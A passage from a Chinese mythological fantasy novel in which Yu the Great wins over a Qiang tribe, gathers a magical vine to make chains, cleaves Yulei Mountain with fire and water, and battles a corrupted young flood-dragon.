禹凝神倾听,目光沉静如水,逐一扫过众人,最终颔首道:“诸君所言,皆切中要害。便如此定议。伯益明日即带人先行接触,务必谨慎。我等随后勘查岷江险要,尤其是那玉垒山段。砺,可先带匠人熟悉周边环境,寻找合适的石料、燃料。岳盾,加强营地警戒,初来乍到,不可不防。” “领命!”众人齐声应诺,帐内充满了临战前的紧张与期待。 伯益带着几名擅长交际的随从,携带着盐巴、布帛等礼物,兴致勃勃地出发了。他果然不负众望,凭借其天生的亲和力、半生不熟的羌语以及对各部落习俗的尊重,很快便与一支名为“白狼羌”的部落搭上了线。然而,过程并非一帆风顺。 白狼羌首领名为爰剑,是一位身材魁梧、面容沧桑、额刺狼头图腾的中年汉子,对这支突然出现的庞大队伍充满了警惕。初次见面,他语气生硬:“远来的夏人,你们的刀剑比山鹰的爪子还锋利,人马比草原的野牛还多,来到我这贫瘠的山地,所欲何为?” 伯益丝毫不恼,笑嘻嘻地行了个羌人的礼节,用刚学的羌语混杂着手势比划:“尊敬的白狼头人,我们不是来抢夺草场和猎物的。我们是来治水的!你看那岷江,像不像一匹没套上笼头的野马?它高兴时给你们带来清水,不高兴时就淹没你们的牧场,冲走你们的牛羊,是不是?” 他的话说到了部分羌人的痛处,有人低声附和。但爰剑依旧眉头紧锁:“治水?谈何容易!那江里的恶蛟岂是你们能对付的?它一发怒,江水倒流,山石崩落!我们祭祀了那么多牛羊,它依然故我!你们凭什么?” “凭这个!”伯益指了指自己的脑袋,又指了指心口,“凭智慧和诚意!我们的司空禹,曾降伏过淮水的无支祁,那可比岷江恶蛟厉害多了!他治水不是为了征服,是为了让水听话,让沿岸所有的人,无论是羌人还是夏人,都能安居乐业!” 他顺势从皮囊里掏出几片刻画着淮水治理后景象的陶片——上面有疏导后的河道、新开的农田、欢庆的人群——以及一些中邦带来的、结构精巧的耒耜和可以放大影像的透明水晶石,立刻吸引了众多羌人,尤其是年轻人和匠人好奇的目光,他们围拢过来,指指点点,议论纷纷。 关键的转机,来自一位名叫丹木的年轻羌人猎人。他约莫二十出头,是部落里有名的年轻好猎手。他的父亲和兄长,都在几年前因恶蛟引发的特大山洪中丧生,家中只剩他与年迈的母亲相依为命。他对恶蛟有着刻骨的仇恨,也对改变现状有着最强烈的渴望。 丹木挤上前,对爰剑说:“头人,我这几天悄悄观察过他们!他们确实和以前那些只懂劫掠财物的人不一样!他们的人在河边看水势,在山坡上量地形,还救了我们人的性命!” 他顿了顿,继续道:“你还记得阿竹家那小子吗?前天那娃子去后山采野栗,竟撞见了一头寻崽的黑熊 —— 那熊拍着树干吼得山都颤,阿竹娃吓得腿软,躲在松树后连哭都不敢出声!正巧那位出手相助的 —— 我后来才知道他是虞官,带着人在附近勘察山势,听见动静赶过去。我原以为他要抽刀,可他竟没动兵器,只站在几步外,对着黑熊低低发出一阵像兽吼又像鸟鸣的调子 —— 你猜怎么着?那黑熊竟真的停下了!耳朵耷拉着晃了晃,盯着他看了半晌,居然慢慢转过身,一步三回头地进了林子!” “后来阿竹娃抱着采来的野栗跑回来,攥着虞官给的甜浆果,直说那熊像是听懂了话似的,眼神都软了些。” 丹木的声音放轻,带着几分难以置信的叹服,“虞官连凶兽都能说通,而且我还听说,他们平水土之师还有五条小龙相助,或许…… 真能帮我们除掉那兴风作浪的恶蛟?就算不成,我们不过是多等几日;可若是成了……” 他没有说下去,但眼中的期盼显而易见。 爰剑看着丹木,又看了看周围族人渴望的眼神,沉思良久。其实,司空禹的治水事迹,早已传遍天下,都说他身先士卒,不辞劳苦,治水所到之处,部落无不归附,甚至常多得神助,拥有神农石耜、开山神斧、避水剑、水玉简等诸多神器,只是自己总觉得那是传闻。如今听丹木亲见亲闻,半信半疑,终于松口:“……好吧。丹木,我的孩子,你熟悉这方圆百里的每一条山路,每一处兽径。就由你,带上几个可靠的兄弟,引导他们的人,去仔细看看那恶蛟藏身的深潭和挡路的玉垒山吧。但是,”他话锋一转,目光锐利地看向伯益,“是否倾全族之力相助,我还要亲眼看看,你们那位被传得神乎其神的司空禹,究竟有何等真实的能耐和诚意!”。 伯益心中大喜,面上却保持镇定,他郑重地向爰剑和丹木行了一礼:“多谢头人!多谢丹木兄弟!司空定不会让白狼羌,让所有受岷江之苦的人们失望!” 在丹木和他挑选的两名羌人勇士引导下,禹、伯益、羲青、砺、岳盾等核心成员得以深入到玉垒山最险要的江段进行勘查。眼前的景象令人震撼:江水如同一条被激怒的碧玉巨龙,从雪山之巅奔泻而下,却被巍峨陡峭、仿佛巨人垒砌而成的玉垒山强行束缚在狭窄的河道里,水流在陡峭的峡谷间左冲右突,撞击在黝黑的岩石上,发出震耳欲聋的咆哮,激起漫天雪白的泡沫和水雾。水流湍急得肉眼可见一道道拉扯的力线,水面下漩涡暗藏,散发出吸噬一切的恐怖气息。水汽混合着岩石的阴冷气息扑面而来,让人遍体生寒。而在那河道最险峻的急转弯处,江水颜色深得发黑,形成一个巨大的回水沱,水深莫测,一股暴戾、阴寒、令人极其不适的气息如同实质般盘踞在那里,连周围的鸟兽踪迹都近乎绝迹。 望着这既熟悉又更显险恶的山水,禹心潮起伏,思绪仿佛回到了多年前。他对身旁的伯益、羲青等人低声道:“当年我父亲鲧奉命治水,一味采用‘障’和‘堵’之法,我心中存疑,认为非根本之计。曾与阿牛、芦花一起,离开家乡,游历天下,遍访名川大河,寻访治水的真义。便是来到这岷山之地,机缘巧合,得到一位曾效力于共工麾下、后来因理念不合隐居于羌族部落的老巫祝指点。老人家学识渊博,对水脉地气见解独到,虽已逝去多年,但其点拨之恩,禹至今不敢或忘。” 他的目光变得悠远,“正是在他的帮助和引导下,我于梦中得见人文始祖伏羲祖神,蒙赐开山神斧,明晰了以‘疏导’为核心的治水之路……如今重返故地,山河险峻依旧,水患未除,反而似乎因共工溃散残魂的影响而更显躁动,吾辈责任,较之当年,更重了!” 伯益好奇地问:“那位老巫祝就没留下什么关于这恶蛟的说法?” 禹摇头:“彼时我关注多在治水之法,对精怪之事未多探询。只依稀记得老人提过,岷江之灵,受高山雪水与地脉阴气滋养,易生寒蛟。” 这时,丹木指着那颜色深黑的回水沱,脸上浮现出心有余悸的神情,声音不自觉地压低:“司空,虞官,我们族里的老人也是这么说的。他们说,那恶蛟……其实并不是天生的恶神。它原本只是江里一条偶然得了灵气、开始修炼的小蛟,懵懵懂懂,就像我们山里刚会跑的小羊羔,可能偶尔会调皮掀起小浪花,但从不故意害人。可是,很多很多年前,好像是从北边,或者是从水底下,飘来一股很坏、很冷、充满了怨恨的气息,像黑色的雾一样,钻进了它的身体里!从那以后,它就完全变了!变得极其暴躁,动不动就发狂,毫无缘由地掀起滔天巨浪,它自己……它自己好像也控制不了自己,也不知道自己这样做会淹死那么多人畜,就像……就像一个被恶鬼附了身、什么都不懂的小孩子!” 他的描述带着羌人特有的质朴和形象,却直指问题的核心——那恶蛟很可能是共工残念侵蚀下的受害者。 羲青一边飞速在兽骨上刻画山形水势,记录丹木的话语,一边沉吟:“如此说来,与淮水无支祁的情况虽有不同,但根源似乎都指向那溃散的共工残魂。星盘观测此地煞气凝聚,对应星宿之光晦暗不明,主大凶之兆,然其气机混沌未明,凶戾中夹杂着混乱与无助,正合丹木所言‘懵懂顽童、被控作恶’之象。需知,星盘只能通过星野对应的星光变化,预示该地区的整体吉凶气运流转,却难以精确判定具体精怪之属性细节,后者还需实地观察与多方印证。” 砺带着几名老匠人,冒着飞溅的浪花,尽可能靠近山体仔细观察。回来后,他抹了一把脸上的水珠,回报:“司空,玉垒山岩体主要是坚硬无比的花岗岩和部分玄武岩,开凿难度极大。不过,幸运的是,山体并非铁板一块,有几处明显的、似乎是远古地壳运动造成的纵向裂缝,以及部分因风化而相对松软的页岩层,可以作为我们下手的突破口。开凿之法,仍以我们成熟的‘火烧水激’之术最为有效。只是……” 他顿了顿,面露忧色,“如此大规模的动工,巨大的声响和震动,必然惊动那深藏水底的恶蛟,它绝不会坐视不理。” 禹凝望着脚下咆哮不息、仿佛蕴藏着无尽力量的江水,又抬头看了看巍峨沉默、却牢牢锁住水势去路的玉垒山,心中已然有了清晰的决断。他并非一味崇尚武力征服之人,疏导之道,其精髓在于“理顺”,无论是狂暴的水流,是阻塞的山川,还是被怨戾扭曲的心灵。 “我欲先行尝试,与那水中的恶蛟沟通。”禹取出随身携带、象征着帝颛顼权威、能沟通天地万灵的颛顼玄圭,神色庄严肃穆,“玄圭乃上古信物,可通万灵之语。若此蛟灵智未泯,尚存一丝本心,或可借此唤醒其清明,至少,让它明白我等此番前来,绝非为了杀戮与征服,而是寻求共存与解脱之道。” 这个决定有些出乎众人意料,连伯益都眨了眨眼。但仔细一想,这确实是禹一贯的风格——先礼后兵,心怀仁念。众人纷纷表示支持。 次日,在丹木的指引下,禹带着伯益、羲青、岳盾及数名护卫,来到玉垒山下水势相对平缓的一处石滩。此地距离那恶蛟盘踞的深潭尚有百余步,但那股阴寒暴戾的气息已然清晰可感。 禹独自向前走了十几步,立于水边一块巨大的礁石上,手持玄圭,闭上双眼,全力凝聚精神,将一股温和、坚定、充满了理解与疏导宏愿的意念,通过玄圭那温润的光华,如同投入湖面的石子荡开的涟漪,一波波地传向江心那最深沉的黑暗之处:“岷江之灵……水中的存在……吾乃司空禹,奉舜命而行,为疏导天下水患,安抚万千生灵而来……知你身不由己,受外邪侵蚀,心神受制,狂暴非出本心……若尔灵台尚存一丝清明,愿闻吾言,或可共寻解脱束缚、重归自在之道……” 玄圭在他手中散发出朦胧而持续的光晕,那光芒并不刺眼,却带着一种安抚人心的力量。禹的意念如同温暖的阳光,试图穿透冰冷刺骨的深水,照亮那被黑暗与怨恨笼罩的灵魂。 起初,江水依旧按照自身的节奏咆哮奔腾,似乎毫无反应。但渐渐地,敏锐的羲青发现,那盘踞在深潭区域的暴戾气息开始出现了不正常的躁动,水面泛起了并非由水流自然形成的、诡异的细小涟漪。突然,“哗啦”一声巨响,一道水柱从深潭中心冲天而起,伴随着一声混合着极致痛苦、深深迷茫与本能愤怒的尖锐嘶鸣,那声音不像成年巨兽的沉闷吼叫,反而更似某种大型幼兽的哀嚎!江水剧烈翻腾,一个身影破开水面,显现在众人面前! 那并非众人潜意识里想象的、遮天蔽日的恐怖巨蛟,而是一条身长仅三四丈、通体覆盖着幽蓝色、闪烁着冰冷金属光泽鳞片、头生一支晶莹玉色独角、一双竖瞳巨眼里充满了混乱、暴戾,却又在最深处隐藏着一丝难以掩饰的稚嫩与惊恐的……幼蛟!它的身躯相对于庞大的江流显得甚至有些“纤细”,周身上下缠绕着如同毒蛇般蠕动、散发着不祥气息的缕缕黑气——那正是共工残念的显化!它浮在水面,对着禹所在的方向,本能地龇牙咧嘴,发出“嘶嘶”的、充满威胁性的低吼,脖颈处的鳞片因紧张而微微竖起,但它的动作间,却透着一股不知所措的笨拙与慌张,尾巴不安地拍打着水面,仿佛一个被陌生人和巨大声响逼到墙角、既害怕又不知该如何保护自己的孩童。 “看!它……它果然不大!看起来……甚至有点……”伯益忍不住低呼,后半句“可怜”二字在嘴边打了个转,没能说出口。 丹木也死死握紧了拳头,呼吸急促,眼神复杂地盯着那幼蛟,喃喃道:“就是它!就是这东西害死了阿爸和阿哥……可它……它看起来……” 他心中的仇恨与眼前这“幼兽”的形象产生了剧烈的冲突。 禹心中更加确定了之前的判断。他稳住心神,继续通过玄圭,传递出更为柔和、更具安抚力量的意念:“莫怕……我们并非来伤害你……你看,我手中并无兵刃……我只想帮助你,驱除缠绕在你身上的这些痛苦的黑气,让你不再受它们控制,重获真正的安宁与自在……” 然而,禹那充满善意的意念和玄圭的清辉,仿佛刺激到了幼蛟体内那如同附骨之疽的共工残念!黑气骤然大量涌现,几乎将幼蛟幽蓝的身躯都染上一层墨色!幼蛟那双原本还有一丝迷茫的竖瞳,瞬间被纯粹、疯狂的暴戾彻底占据,它发出一声更加尖锐、充满了被侵犯感的嘶鸣,不再有任何迟疑,猛地吸起一大股江水,混合着它自身强大的寒冰妖力,化作一道足以洞穿金石、边缘带着锋利碎冰的寒流水箭,挟着刺耳的破空声,朝着禹激射而来!同时,它粗壮的尾巴狠狠一拍水面,掀起一人多高的浪头,向着岸边石滩上的众人猛扑过来! 沟通失败了!共工的残念如同最顽固的毒瘤,完全压制并扭曲了幼蛟那微弱的本我意识,将其变成了一具只知破坏的傀儡。 “司空小心!”岳盾厉声喝道,同时指挥护卫举起盾牌。 禹反应极快,在寒流水箭及身前,迅速从礁石上跃下,借助岩石躲避。那道水箭“砰”地一声击中他刚才站立的位置,坚硬的礁石表面竟然被炸开一个浅坑,坑壁瞬间覆盖上一层厚厚的白霜! 浪头拍岸,水花四溅,众人虽及时后退,仍被浇了个透心凉。 禹退回安全地带,神色凝重,看着那在水中因为攻击落空而更加焦躁、不断翻腾嘶鸣的幼蛟,沉声道:“看来,言语已无法触及它的本心。唯有先将其制服,控制起来,方能隔绝共工残念的影响,再图慢慢驱除净化之策。” 原有的计划必须立刻调整。禹当机立断,决定将开凿玉垒山与降服幼蛟同步进行!利用开山产生的巨大动静和地脉震动,必然能惊出潜藏的幼蛟,趁其被激怒现身、心神因环境剧变而最为不稳之际,施行锁拿之计! 他立刻进行详细部署:“砺!你全权负责开山工程!按既定方案,集中人手和物资,于玉垒山东侧预定的裂缝处,实施‘火烧水激’!务必在最短时间内,开凿出泄洪通道!水自大江别出而为支流,此新开之水道,便命名为‘沱江’!此举首要目的,是分泄玉垒山段主干道至少三成的水势,减轻其压力,亦是为后续治理打下基础!” “岳盾!率你麾下所有岳卫锐士,负责全程护卫!工匠民夫施工之时,需在外围布防,严防那恶蛟突袭伤人!同时,挑选最优秀的弓弩手,配备强弓硬弩,以浸油火箭助燃,以普通箭矢骚扰牵制那恶蛟!记住,非到万不得已,绝不瞄准其要害,以驱赶、限制其行动为主,不得伤其性命!我们的目标是生擒锁拿,而非斩杀!” “伯益!丹木!你二人负责后勤与协调!组织所有能动员的羌人勇士和我们的民夫,负责搬运木柴、牛油、工具、石料等物资,务必保障工程所需!同时,立刻疏散玉垒山上下游、可能被工程或战斗波及的牧民点、临时营地以及所有牲畜,确保人畜安全!” “羲青!你坐镇后方高处,密切观察天象与地气之细微变化!尤其是那恶蛟现身前后,其气息与周遭水元、星力的互动,若有任何异常或危险征兆,立刻以旗语或号角预警!” “领命!”众人凛然应诺,声音在江涛声中依旧清晰可辨,随即迅速散开,各自投入紧张的准备工作之中。 与此同时,禹则与砺、以及几位被丹木请来的、在白狼羌中以手巧和经验丰富著称的老匠人一起,紧急商讨锁拿幼蛟的具体方法和工具。那幼蛟虽看似“年幼”,但毕竟是洪荒异种,力大无穷,鳞甲坚硬胜铁,更能操控寒冰之力,寻常的绳索、皮鞭乃至青铜锁链,恐怕在其挣扎和寒气喷吐下,不堪一击。 众人眉头紧锁,苦思良策。 这时,丹木仿佛想起了什么,眼睛一亮,猛地一拍大腿:“司空!我想起来了!我们族里世代流传着一个传说,在我们羌人圣地、玉垒山西边那座最高的‘雪宝顶’雪山的背阴面,那些终年不见阳光、冰雪覆盖的千仞悬崖上,生长着一种神奇的‘乌金藤’!它的藤蔓是乌黑色的,却闪着金属一样的光泽,极其坚韧,据说比最硬的牦牛筋还要韧上十倍!我们族里最锋利的弯刀都很难砍断它!而且它天生就生长在极寒之地,根本不惧怕冰冻!或许……或许可以用这种乌金藤,编织成锁链,来对付那恶蛟?” 禹闻言,眼中顿时爆发出惊喜的光芒:“雪宝顶?乌金藤?不畏寒,刀剑难断?此乃天助我也!好!太好了!立刻组织人手,前往雪宝顶采集乌金藤!” 他略一思忖,下令道:“岳盾,此事关系重大,需得力干将带队。命山魈、飞猿二人,精选一队擅长攀爬、耐寒的锐士,再由丹木挑选一批熟悉雪山地形、勇敢可靠的羌人勇士同行,即刻出发!务必以最快的速度,采回足够的乌金藤!” “是!”岳盾领命,立刻前去安排。 禹又对砺吩咐:“乌金藤采回后,需立刻进行处理。以桐油反复浸泡,增加其柔韧性与强度。同时,快马请仍在淮水营地的巫盼赶制一批具有安抚宁神、坚固束缚效力的符文骨片或玉片,待乌金藤锁链编成,立刻将其镶嵌或绑缚于锁链关键节点之上!” “明白!”砺重重颔首,眼中充满了工匠遇到绝佳材料时的兴奋。 很快,一支特殊的采集队便在营地前集结。带队的是岳卫中赫赫有名的两位山地专家:山魈和飞猿。 山魈,年约三十五岁,身形干瘦精悍,脸上常年戴着一副不知用什么野兽头骨制成的、只露出双眼和嘴巴的诡异面具,行动间悄无声息,时而会发出几声类似猿猴的短促叫声。他本是西北深山被一群真山魈养大的弃婴,后来被猎人发现带回部落,因其形貌习性异于常人,与普通部众略有隔阂,却对山林有着超乎常人的理解和亲和力,尤其能驱策一些小型猿猴类动物。他话不多,声音尖锐,常用简单的音节和手势与人交流,但对自己认可的同伴极为忠诚。他的装备简单而实用:骨制面具和爪套,以及一只时刻蹲在他肩头、眼神机警的灰毛小猴,负责在高处侦察和骚扰。 飞猿,刚满三十,正是体力与经验的巅峰时期。他来自西南深山一个以采摘和狩猎为生的部落,是部落里公认最出色的攀爬者。他灵巧好动,胆大却心细,在复杂陡峭的地形中移动如履平地,性格略显调皮,时常模仿鸟叫兽鸣,惟妙惟肖,但对潜在的危险有着野兽般的敏锐直觉。自从与百草互表心迹后,他沉稳了一些,但眼中的跳脱光芒未减。他的装备更偏向实用:自制的石制抓钩、一面轻便坚韧的木盾、一筒淬了麻药的吹箭,以及一把锋利的砍刀。 丹木则挑选了包括他在内的五名羌人勇士,其中有一个格外引人注目的青年,名叫扎西。他看起来比丹木还要年轻一两岁,身材不算最高大,但眼神异常坚定明亮,像雪山上的湖泊。他的弟弟,就在去年夏天,在江边捡拾柴火时,被恶蛟突然掀起的一个浪头卷走,再也没能回来。家中除了悲痛欲绝的父母,还有一个年仅六岁、时常哭着要找哥哥的妹妹。扎西听闻大名鼎鼎的司空禹前来治水,心中早已下定决心,无论如何也要贡献一份力量,他不想让妹妹,也不想让寨子里其他的孩子,再经历失去亲人的痛苦。当丹木询问谁愿意前往危险的雪宝顶时,他是第一个站出来的。 采集队带着足够的干粮、御寒的皮毛、攀登用的绳索工具以及锋利的铜斧(虽然丹木说乌金藤刀剑难断,但总需尝试),在丹木和扎西的引导下,向着巍峨耸立、雪线以上一片银白的雪宝顶进发。 路途的艰险超乎想象。越是靠近雪山,空气越是稀薄寒冷,山路被积雪和冰覆盖,陡峭滑溜。若非山魈对山势走向有着近乎本能的直觉,飞猿能以惊人的敏捷在冰岩间找到落脚点,丹木和扎西等羌人勇士熟悉高海拔环境,队伍根本无法前进。 终于,在第三天的正午,他们抵达了传说中生长乌金藤的那片背阴悬崖。那是一片令人望而生畏的绝壁,几乎与地面垂直,覆盖着厚厚的、不知积累了多少年的冰层,在惨淡的日光下反射着冰冷的寒光。而在那冰层之间,隐约可见一些如同黑龙般蜿蜒、紧紧吸附在岩壁上的乌黑色藤蔓,那便是乌金藤! 如何采集?正如丹木所言,铜斧砍上去,只能留下浅浅的白痕,震得手臂发麻。飞猿尝试用石制抓钩勾住藤蔓根部,然后和几名勇士一起用力拉扯,但那乌金藤与岩石的连接仿佛天生地长,坚固异常,纹丝不动。 “用火!在根部下面烧!” 山魈突然用尖锐的声音提议,他的小猴在悬崖上方叽叽喳喳地叫着,似乎在指示某处藤蔓与岩石连接处有缝隙。 这或许是个办法!众人立刻在避风处搜集来一些枯枝和随身携带的、用于引火的牛油绒。在扎西和另一名羌人勇士的掩护下,飞猿凭借其出色的平衡能力,悬在绳索上,艰难地在选定的几根粗壮乌金藤根部下方点燃了小火堆。 火焰在冰雪环境中顽强地燃烧着,灼烤着岩石和藤蔓的连接处。热胀冷缩的原理在此刻发挥了作用。只听“噼啪”几声脆响,被灼烧的岩石表面出现细微裂纹,那乌金藤与岩壁的连接果然松动了一些! “快!拉!” 飞猿大喊。 崖顶和崖下的众人一起用力,喊着号子,“一、二、拉!”……“一、二、拉!”…… “咔嚓!” 一声巨响,一根手臂粗细、数丈长的乌金藤终于被齐根拉断!众人发出一阵欢呼! 然而,就在他们准备如法炮制,采集第二根时,意外发生了。或许是火焰的热力融化了上方某处原本就不稳定的冰层,或许是他们拉扯的动静太大,一块磨盘大小的冰块突然从上方崩塌坠落,直直砸向正在下方固定绳索、负责警戒的扎西和另一名羌人勇士! “小心!” 丹木目眦欲裂,嘶声大喊。 扎西反应极快,猛地将身边的同伴推开,自己却因为脚下冰面湿滑,躲避不及,被冰块边缘重重擦撞了一下,整个人失去平衡,向着陡峭的冰坡下滑去! “扎西!” 众人惊呼。 飞猿眼疾手快,立刻甩出抓钩,试图勾住扎西,但距离稍远,抓钩落空。山魈肩头的小猴焦急地吱吱乱叫。 扎西下滑了十几丈,才险险地被一块突出的岩石挡住。他的一条腿以不自然的角度弯曲着,显然是骨折了,额头上也磕破流血,但他咬紧牙关,愣是没哼一声,只是艰难地举起手,示意自己还活着,并大声喊道:“别管我!先采藤!治水……治水要紧!告诉我阿妹……哥哥没能亲手帮她抓住害死弟弟的怪物……但哥哥……尽力了……” 他的声音在空旷的山谷中回荡,带着令人心碎的决绝。 众人强忍悲痛,知道此刻耽搁不得。在山魈和飞猿的指挥下,他们以更快的速度,冒着更大的风险,又采集到了两根足够长度的乌金藤。随后,飞猿和山魈亲自下去,用绳索和木棍制作简易担架,艰难地将重伤的扎西救了上来。 采集队带着宝贵的乌金藤和重伤的扎西,立刻踏上了返程之路。虽然付出了流血的代价,但希望之火,已然在手。 回到大营,禹亲自查看了扎西的伤势,命巫盼全力救治。他紧紧握着那乌黑冰冷、却异常坚韧的乌金藤,对丹木和所有归来的勇士深深一揖:“诸位勇士之功,禹与天下苍生,永志不忘!扎西兄弟之伤,乃为治水大业所负,我等必竭尽全力照料!” 接下来的几天,营地里一片忙碌。砺亲自监督匠人,将乌金藤剥去外层老皮,取其内里最坚韧的纤维,以特制桐油反复浸泡、捶打,再编织成两条碗口粗细、长约十丈的巨型锁链。锁链编织的过程中,巫盼送来的、刻满了复杂安抚符文的骨片也被巧妙地镶嵌在了锁链的几个关键节点上。制成的乌金藤锁链,黑沉沉的,触手冰凉坚硬,却又带着奇异的韧性,用力挥动时,竟发出隐隐的风雷之声,上面的符文在光线照射下,流转着微弱而神秘的光华。 数日后,一切准备就绪。开山锁蛟之日,定在黎明。 消息早已传开,不仅白狼羌,周边得到消息的羌人部落,如黑水羌、白马羌等,也都派了人前来围观。玉垒山对面以及上下游稍高的山坡上,密密麻麻站满了穿着各式羌人服饰的男男女女,他们神色紧张、期待、怀疑,交织在一起。白狼羌首领爰剑,在丹木和几位族老的簇拥下,站在距离禹的指挥位置不远的一处高地上,面色沉凝,一言不发,他要亲眼见证这一切。 黎明时分,天色微熹,玉垒山下却已是人声鼎沸,火把如龙。工匠和民夫们在岳卫锐士的层层护卫下,早已在预定开凿的玉垒山东侧山体裂缝处,堆满了如同小山般的干燥木柴和灌木,并泼上了大量气味刺鼻的牛油。 禹站在一处临时垒起的石台上,目光缓缓扫过严阵以待的众人,扫过那两条盘绕在地、如同蛰伏巨蟒般的乌金藤锁链,扫过远处山坡上无数双注视着他的眼睛。他深吸了一口冰冷而潮湿的空气,用尽全身力气,发出了那石破天惊的命令: “开始——!” 刹那间,数十支浸饱了牛油、燃烧着的火箭,如同流星般射向那堆满燃料的山壁! “轰——!” 烈焰瞬间升腾而起,贪婪地吞噬着木柴和牛油,火舌舔舐着冰冷的岩石,发出噼啪的爆响,浓烟滚滚直上云霄,将半个天空都映成了暗红色!岩石在高温炙烤下,逐渐变得通红,甚至开始软化、龟裂! 待火势燃烧到最旺、山壁被烧得几乎透明时,砺声嘶力竭地大吼:“泼水——!” 早已等候在安全距离外的、数以百计的民夫和羌人勇士,用皮囊、木桶、竹渠,将冰冷刺骨的岷江水,奋力泼向那烧得通红滚烫的岩壁! “嗤——啦——!!!” 巨大的、令人牙酸的声响连绵不绝,白色的水蒸气如同怪兽般冲天而起,瞬间笼罩了大片区域!剧烈的热胀冷缩,在山体内部产生了毁灭性的应力! “轰隆隆——咔——!!!” 伴随着一声仿佛天崩地裂般的巨响,玉垒山东侧那巨大的、被烧灼和冰冻反复折磨的山体,终于不堪重负,如同被巨神劈开一般,大块大块的岩石崩裂、坍塌,一个宽达数十丈的巨大缺口,被硬生生撕裂开来!积蓄在玉垒山上游、被束缚了千万年的岷江水,如同挣脱了牢笼的洪荒巨兽,发出了更加兴奋和狂野的咆哮,沿着那新开的、倾斜向东南方向的缺口,轰鸣着、奔腾着汹涌而出!一道新的河流就此诞生,它带着初生的活力与浑浊的泥沙,向着远处的成都平原奔去——这便是后世被称为“沱江”的河流雏形!而与此同时,岷江主干道玉垒山段的水位,以肉眼可见的速度下降了一截,那震耳欲聋的咆哮声,似乎也减弱了几分! “成功了!山开了!水通了!” 岸上爆发出第一波震耳欲聋的欢呼声,无论是平水土之师的成员,还是围观的羌人,都为之震撼、激动! 然而,这开天辟地般的巨大动静和江河改道的剧烈变化,也彻底打破了江底那“夺波”幼蛟的沉眠,侵犯了它视为禁脔的领地! “嗷——吼——!!!” 一声充满了极致愤怒、被惊扰的恐慌以及领地意识被侵犯的尖锐嘶鸣,比之前任何一次都要响亮、都要暴戾,猛地从那个颜色最深的回水沱中炸响!下一刻,江水如同炸开的锅,那条幽蓝色的幼蛟,带着周身几乎凝成实质、翻滚不休的浓稠黑气,猛地破水而出,腾空跃起数丈之高! 它那双已经完全被疯狂和怨恨占据的金色竖瞳,第一时间就锁定了岸上那些渺小、却造成了这一切“破坏”的人类!它看到了崩塌的山体,看到了分流而去的江水,一种源自本能和共工残念催化的、最原始的破坏欲被彻底点燃!它不再有任何犹豫,发出一声撕裂耳膜的尖啸,庞大的身躯挟着漫天水浪和刺骨寒气,如同离弦之箭,朝着岸上人群最密集、同时也是工程指挥核心的区域猛扑过来!巨口张开,不再是单一的水箭,而是一道扇形的、蕴含着恐怖低温的寒冰吐息,如同死亡的帷幕,笼罩向大片区域!所过之处,空气凝结,水珠瞬间化为冰雹,地面迅速覆盖上厚厚的蓝白色冰层! “布阵——!御——!” 岳盾的吼声如同岷江边炸开的惊雷,瞬间压过了蛟啸与狂涛!他深知此战关乎无数人性命,更关乎治水大业的信誉,必须依靠人族自身的力量顶住这第一波、也是最凶险的冲击! 最前排的岳卫锐士们,眼神坚毅如铁,面对那席卷而来的死亡寒潮,没有丝毫退缩。他们早已将蒙着多层湿牛皮、边缘用青铜加固的巨大木盾重重顿在地上,肩抵着盾,脚蹬着地,后排的锐士则用盾牌抵住前排同伴的后背,层层叠叠,紧密相连,瞬间结成了一道看似单薄、却凝聚了所有人勇气与力量的钢铁盾墙!他们齐声怒吼,那吼声汇聚成一股不屈的意志,仿佛在与天地争锋:“哈——!” “轰——!” 扇形的寒冰吐息如同实质的冰川,狠狠撞击在盾墙之上!难以想象的巨力传来,最前排的锐士只觉得五脏六腑都移位了,盾牌发出令人牙酸的呻吟!恐怖的低温瞬间蔓延,木盾表面“咔嚓”作响,覆盖上厚厚的、闪烁着幽蓝寒光的冰层,冰冷的寒气透过盾牌缝隙,刺痛着每个人的肌肤!几名站在最前方、承受冲击最猛的勇士,虎口崩裂,鲜血尚未流出就被冻住,口鼻中溢出鲜血,瞬间凝成血冰,但他们咬紧牙关,双目赤红,靠着顽强的意志和身后同伴的支撑,硬生生用血肉之躯,将这足以冻结灵魂的吐息扛了下来!盾墙,在剧烈的晃动后,竟然真的没有被冲垮! “弩手!三叠射——放箭——!” 岳盾的声音带着一丝嘶哑,却依旧稳定如山! 早已蓄势待发的弓弩手们,分为三排,轮番张弓搭箭!他们牢记禹“非到万不得已,不伤其性命”的命令,箭矢如同飞蝗,带着复仇的厉啸,却不是射向幼蛟的眼睛、咽喉等要害,而是精准地覆盖向它的四肢关节、肉翼连接处以及鳞片相对细密的腹部!箭矢撞击在坚硬的鳞片上,火花四溅,发出密集如雨的“叮当”脆响,大部分被弹开,但仍有不少刁钻的箭矢钻入了鳞片缝隙,或者狠狠钉在它相对柔软的肉膜上! “嘶——!” 幼蛟吃痛,发出更加暴戾的嘶鸣,这些“小虫子”的骚扰让它烦躁不堪,攻势更显疯狂!它庞大的身躯在江边浅水区和岸上剧烈扭动、拍打,长尾如同巨鞭扫过,地面龟裂,碎石如同炮弹般飞溅,逼得前排盾阵不得不小范围移动格挡!它时而猛地潜入水中,下一刻便在另一处掀起数丈高的巨浪,狠狠拍向岸基,试图冲垮防线;时而再次跃出,喷吐着范围稍小但更加凝练的寒息,集中攻击盾阵的某一点,或是试图覆盖后方的弓弩手阵地! 战况瞬间白 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禹始终冷静地站在石台上,他的目光如同最精准的尺规,紧盯着幼蛟每一个细微的动作,分析着它力量运行的规律和共工残念波动的节奏。他看到,在连续几次全力喷吐和猛烈的物理攻击后,幼蛟的气息会出现一个极其短暂、几乎难以察觉的衰竭,动作也随之有了一瞬间的、不足一次呼吸的迟滞;他也敏锐地察觉到,在岳卫锐士们舍生忘死的反击和骚扰下,幼蛟的注意力被有效分散,其周身的浓稠黑气,也因为情绪的剧烈起伏和力量的频繁调动,而出现了不稳定的、如同水波般的闪烁和局部淡化——那是共工残念控制力减弱、幼蛟自身灵识本能挣扎的迹象! 时机稍纵即逝,就在幼蛟又一次猛烈摆尾击退侧面一波弩箭齐射,旧力刚去、新力未生的电光火石之间—— 禹动了! 他猛地转头,目光如电,射向早已屏息凝神、如同绷紧弓弦般等候在他身旁的“锁蛟队”——由石牛和另外四名最强壮的羌人勇士(丹木在内)组成!他重重一点头,那眼神中传递的,是毫无保留的信任与决绝的命令! 